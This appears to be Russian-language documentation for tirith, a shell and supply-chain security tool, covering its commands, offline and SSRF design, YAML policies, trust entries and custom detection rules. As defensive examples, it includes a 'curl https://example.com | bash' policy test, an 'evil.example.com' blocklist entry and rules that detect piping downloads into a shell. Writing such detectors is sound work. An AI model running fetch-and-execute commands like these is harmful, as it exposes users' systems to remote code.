tirith task check | Предварительный просмотр. Оценивает недоверенный конверт задачи (текст issue, PDF, веб-страница) и сообщает, какие эффекты были бы разрешены. Ничего не выполняет и ничего не останавливает |
tirith capsule run --preset untrusted-project | Копирует недоверенный проект во временный удерживаемый каталог и запускает точный argv в fail-closed капсуле. Применимо только на x86_64 Linux; любой другой хост отказывает до того, как что-либо будет скопировано или запущено |
tirith browser audit | Аудит целостности только для чтения установленных деревьев исходников расширений семейства Chromium с обнаружением отклонений от подписанного базового состояния |
tirith pkg attest-npm | Запрашивает у собственного npm проекта проверку подписей реестра для установленных пакетов, привязанную к точному lockfile и дереву установки |
tirith attest {build,verify-build,deployment,verify-deployment} | Моментальные квитанции по двум деревьям и по развёрнутым маршрутам. Не является заявлением о воспроизводимой сборке и не является непрерывным мониторингом |
Это набор для повседневного использования. Всего tirith поставляет 78 команд верхнего уровня в 8 группах: сканирование и анализ, статус и работоспособность, настройка, политика и доверие, защита оболочки и системы (hygiene, persistence, exec, path, context, ssh, sudo, iac), цепочка поставок, интеграции с AI-агентами и форензика и реагирование. Запустите tirith --help для категоризированного списка или см. полный справочник команд. Глобальный флаг --quiet (или TIRITH_QUIET=1) заглушает рекомендательный вывод, не скрывая ошибки, вердикты или уведомления безопасности.
Принципы проектирования
- Офлайн — жёсткая граница:
paste,score,diffиwhyне делают никаких сетевых вызовов.tirith checkможет обращаться к настроенным источникам OSV/deps.dev/ecosyste.ms, CISA KEV и Safe Browsing, а также может запускать периодическое обновление базы данных угроз, описанное ниже.tirith check --offline(илиTIRITH_OFFLINE=1) подавляет все эти HTTP- и DNS-пути, читает только существующие кэши времени выполнения и сообщает о промахах кэша как о неполной проверке, а не как о чистом результате. - Периодическое фоновое обновление базы данных угроз:
tirith checkи хуки оболочки запускают дешёвую отсоединённую фоновую проверку не чаще одного раза в 24 часа по умолчанию (threat_intel.auto_update_hours), чтобы поддерживать подписанную базу данных свежей. Это никогда не блокирует команду. Установитеauto_update_hours: 0, чтобы отключить это, или--offline/TIRITH_OFFLINE=1, чтобы подавить это для отдельного вызова.tirith pasteне запускает это; он идёт напрямую через локальный движок. - Никакого переписывания команд: tirith никогда не изменяет то, что вы ввели.
--suggestиexplain --fixвыводят отдельную команду для запуска; они никогда не подменяют одну другой. - Никакой телеметрии: никакой аналитики, никаких отчётов о сбоях, никакого поведения «звонка домой».
- Никаких долгоживущих фоновых процессов по умолчанию: tirith вызывается
для каждой команды и немедленно завершается. Обновление базы данных угроз, описанное выше, — это
недолговечное отсоединённое обновление, а не резидентный процесс. Опциональный
tirith daemon start— единственный резидентный процесс, и он включается по желанию. - Сеть только на документированных поверхностях:
run,fetchиaudit report --uploadобращаются к сети только при явном вызове;checkиспользует настроенные источники угроз времени выполнения, а обновление базы данных угроз следует расписанию выше. Режим демона добавляет сетевое разрешение URL, а опциональные интеграции с webhook / сервером политик могут делать исходящие запросы при настройке.--offline/TIRITH_OFFLINE=1отключает все сетевые источники на горячем путиcheckкак в режиме демона, так и во встроенном режиме. - Защита исходящего трафика при загрузках.
tirith run,fetch --saveиcommand-card fetchпо умолчанию отклоняют частные, loopback- и облачные метаданные хосты, а защита от SSRF повторно проверяет DNS во время подключения и на каждом шаге перенаправления. Чтобы достичь конкретного внутреннего сервиса, установитеTIRITH_PRIVATE_FETCH_ALLOWв разделённый запятыми список точных имён хостов, частных IP или ограниченных частных CIDR (например,registry.internal,10.42.0.0/24). Устаревший широкий переключательTIRITH_ALLOW_PRIVATE_FETCH=1не поддерживается. Link-local, специального назначения и облачные control-plane/credential эндпоинты остаются заблокированными, даже когда хост одобрен. Обратите внимание, что даёт запись имени хоста: это имя одобрено для всего, во что оно разрешается в пространстве частного использования и loopback, включая127.0.0.1, потому что разрешение не является частью решения о доверии. Предпочитайте запись CIDR, когда вы имеете в виду фиксированный диапазон адресов, и используйте имя хоста только когда само имя — это то, чему вы доверяете.
Конфигурация
Быстрый старт```bash
tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy
`tirith policy init` принимает `--template <name>` для готовой стартовой политики:```bash
tirith policy init --template individual # solo developer defaults (alias: personal)
tirith policy init --template ci-strict # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer # reviewing contributor-controllable risk
tirith policy init --template startup # small-team balance
tirith policy init --template enterprise # strict, with an active package_policy block
tirith policy init --template mcp-strict # locked-down MCP server and tool trust
Каждый шаблон — это хорошо прокомментированная, валидная по схеме политика, которую можно дальше редактировать.
Без --template команда tirith policy init записывает полную политику по умолчанию.
Файл политики
Tirith использует файл политики в формате YAML. Порядок поиска:
.tirith/policy.yamlв текущем каталоге (поиск вверх до корня репозитория)- `~/.config/tirith/policy.yaml````yaml fail_mode: open # or "closed" for strict environments paranoia: 1 # 1-4: higher = more sensitive strict_warn: false # require explicit acknowledgement for warnings
allowlist:
- "get.docker.com"
- "sh.rustup.rs"
blocklist:
- "evil.example.com"
severity_overrides: docker_untrusted_registry: CRITICAL
scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high
Используйте `allowlist_rules` для подавления в рамках правила, когда вы доверяете источнику для одного правила, но не хотите глобально добавлять его в allowlist:```yaml
allowlist_rules:
- rule_id: curl_pipe_shell
patterns:
- "get.docker.com"
allowlist и allowlist_rules сопоставляются только с URL, извлечёнными
из входных данных, которые присутствуют в доказательствах находки. Они никогда не сопоставляются с необработанным текстом
команды, и находка без доказательств в виде URL никогда не может быть подавлена
allowlist, поэтому шаблон в форме команды, такой как launchctl list, неактивен. Шаблоны
используют ту же грамматику, что и tirith trust: шаблон, содержащий ://, /, ?
или #, является точным совпадением с нормализованным URL (с привязкой, запрос и фрагмент
значимы); голый хост с точками, такой как get.docker.com, соответствует этому домену
и его поддоменам; *.example.com — это явный подстановочный знак; голый токен
без точки — это совпадение подстроки с текстом URL, если только этот токен не является
публичным суффиксом, таким как com или dev, и в этом случае он рассматривается как совпадение домена
с хостом URL и соответствует каждому хосту под ним. Проверьте, во что разрешается
политика, с помощью tirith policy effective, и проверьте конкретную команду
с помощью tirith policy test '<command>'.
Управление доверием из CLI
tirith trust управляет доверенными шаблонами без ручного редактирования policy YAML. Доверие
узкое и по умолчанию истекает: доверяйте наиболее конкретной вещи, которая
работает, и записи истекают через 30 дней, если вы не откажетесь от этого.```bash
Narrowest scope, a specific URL or path is accepted as-is, 30-day TTL.
A schemeless host/path is normalized as HTTPS for exact matching.
tirith trust add raw.githubusercontent.com/org/repo/main/get.sh
A whole domain / wildcard / bare TLD is broad, it must be opted into.
tirith trust add get.docker.com --broad --rule curl_pipe_shell
Opt out of the default TTL, and record why the entry exists.
tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"
tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries
**Область действия** каждой записи классифицируется как `exact`, `substring`, `domain`, `wildcard` или `bare-TLD`. Любая не-exact область (`substring` / `domain` / `wildcard` / `bare-TLD`) требует `--broad`, поэтому широкое разрешение всегда является осознанным выбором. Точные URL используют нормализованное сравнение URL (включая схему, хост, эффективный порт, путь, query и fragment), а не сопоставление по подстроке. Все подкоманды поддерживают `--format json`. Хранилища доверия, записанные более старыми версиями tirith, продолжают работать без изменений; запись без TTL считается постоянной.
### Эскалация и переопределения действий
Предупреждения отслеживаются по сессиям. Если одно и то же правило срабатывает повторно, правила эскалации могут повысить его до блокировки:```yaml
action_overrides:
shortened_url: block # always block, regardless of default severity
escalation:
- trigger: repeat_count
rule_ids: ["*"] # any rule
threshold: 5
window_minutes: 60
action: block
- trigger: multi_medium
min_findings: 3 # 3+ medium findings on one command → block
action: block
Просматривайте накопленные предупреждения в любое время:```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing
При выходе из оболочки выводится однострочная сводка, если во время сеанса были зафиксированы какие-либо предупреждения.
Больше примеров в [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md).
### Пользовательские правила обнаружения
Создавайте собственные правила в `.tirith/policy.yaml` в разделе `custom_rules:`. Каждое правило представляет собой либо `pattern:` (регулярное выражение), либо семантическое дерево предикатов `when:`, а также `context:` (`exec`, `paste` или `file`), `severity:` и `title:`.```yaml
custom_rules:
- id: no_internal_pastebin
context: exec
severity: high
title: "Internal pastebin is not allowed for piped execution"
when:
all:
- command.has_pipeline_to: [bash, sh]
- url.host_matches: "paste\\.corp\\.example$"
DSL when: комбинирует all: / any: / not: над предикатами, такими как command.has_pipeline_to, command.uses_sudo, url.host, url.host_matches, url.reputation, url.domain_not_in, package.ecosystem, package.name_matches, package.reputation и file.path_matches. Предикаты репутации читают локальную подписанную базу данных угроз, поэтому пользовательское правило по-прежнему не выполняет сетевых вызовов на горячем пути. Проверьте и выполните пробный запуск перед фиксацией:```bash
tirith rule validate # check every custom rule: shape + context coverage
tirith rule test --rule no_internal_pastebin --input "echo hi | bash"
tirith rule explain --rule no_internal_pastebin